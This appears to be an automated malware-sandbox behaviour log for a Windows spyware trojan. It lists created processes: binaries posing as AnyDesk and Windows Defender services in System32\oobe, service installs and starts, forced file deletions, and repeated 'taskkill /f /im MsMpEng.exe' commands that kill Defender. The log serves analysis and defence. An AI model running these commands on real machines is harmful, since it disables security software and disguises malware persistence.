Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2404	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6636	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2128	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6552
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
